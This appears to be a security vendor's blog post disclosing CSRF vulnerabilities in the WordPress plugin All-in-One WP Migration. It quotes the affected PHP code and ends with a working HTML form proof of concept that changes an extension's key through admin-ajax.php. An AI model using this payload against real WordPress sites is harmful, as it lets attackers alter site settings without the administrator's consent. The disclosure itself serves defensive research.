While trying to understand a fix made to the plugin All-in-One WP Migration for an authenticated information disclosure vulnerability discovered by “Ed from siliconforks” while looking to add it to the data set for our service we noticed that the plugin at least still contains a couple of cross-site request forgery (CSRF) vulnerabilities. The overall design of the plugin looks like it might not be properly secured, but that may be intentional for a reason we don’t fully understand.

The plugin registers the function updater() from the class Ai1wm_Updater_Controller to be accessible through WordPress’ AJAX functionality to those logged in to WordPress with the “update_plugins” capability:

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if ( current_user_can( 'update_plugins' ) ) {
	add_action( 'wp_ajax_ai1wm_updater', 'Ai1wm_Updater_Controller::updater' );
}

Only those with the Administrator role would have that capability.

That function, which is located in the file /lib/controller/class-ai1wm-updater-controller.php, will update a WordPress option with unsanitized user input:

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public static function updater( $params = array() ) {
	ai1wm_setup_environment();
 
	// Set params
	if ( empty( $params ) ) {
		$params = stripslashes_deep( $_POST );
	}
 
	// Set uuid
	$uuid = null;
	if ( isset( $params['ai1wm_uuid'] ) ) {
		$uuid = trim( $params['ai1wm_uuid'] );
	}
 
	// Set extension
	$extension = null;
	if ( isset( $params['ai1wm_extension'] ) ) {
		$extension = trim( $params['ai1wm_extension'] );
	}
 
	$extensions = Ai1wm_Extensions::get();
 
	// Verify whether extension exists
	if ( isset( $extensions[ $extension ] ) ) {
		update_option( $extensions[ $extension ]['key'], $uuid );
	}
}

There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before taking that action.

That value is used in a couple of locations, one of which looks like it could lead to an additional issue, though we don’t have the additional commercial software that involves to test that out.

While access to that function through AJAX is limited to certain logged in users, other AJAX functions in the plugin are accessible by even those not logged in and the only thing restricting access is a secret key, which isn’t in line with how functions like that are normally have access restricted. There may be some reason to allow access to even those not logged in to WordPress if they have access to the secret key, but in looking into this a bit we didn’t find what would explain it. The user guide shows all activity taking place while logged in to WordPress.

There is another minor CSRF vulnerability we also noticed. The function init() is run during admin_init:

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add_action( 'admin_init', array( $this, 'init' ) );

In that function, which is located in the file /lib/controller/class-ai1wm-main-controller.php,  if the GET input “ai1wm_updater” exists and the request is coming from someone with the “update_plugins” capability, will cause another function to run:

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// Check for updates
if ( isset( $_GET['ai1wm_updater'] ) ) {
	if ( current_user_can( 'update_plugins' ) ) {
		Ai1wm_Updater::check_for_updates();
	}
}

That leads to the function check_for_updates() in the file /lib/model/class-ai1wm-updater.php to run that can make remote requests from the website.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The follow proof of concept will update the “key” of the specified extension.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[extension]” with the name of the extension, and “[key]” with the new value for the key.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ai1wm_updater" method="POST">
<input type="hidden" name="ai1wm_extension" value="[extension]" />
<input type="hidden" name="ai1wm_uuid" value="[key]" />
<input type="submit" name="epl_tools_submit" value="Submit" />
</form>
</body>
</html>

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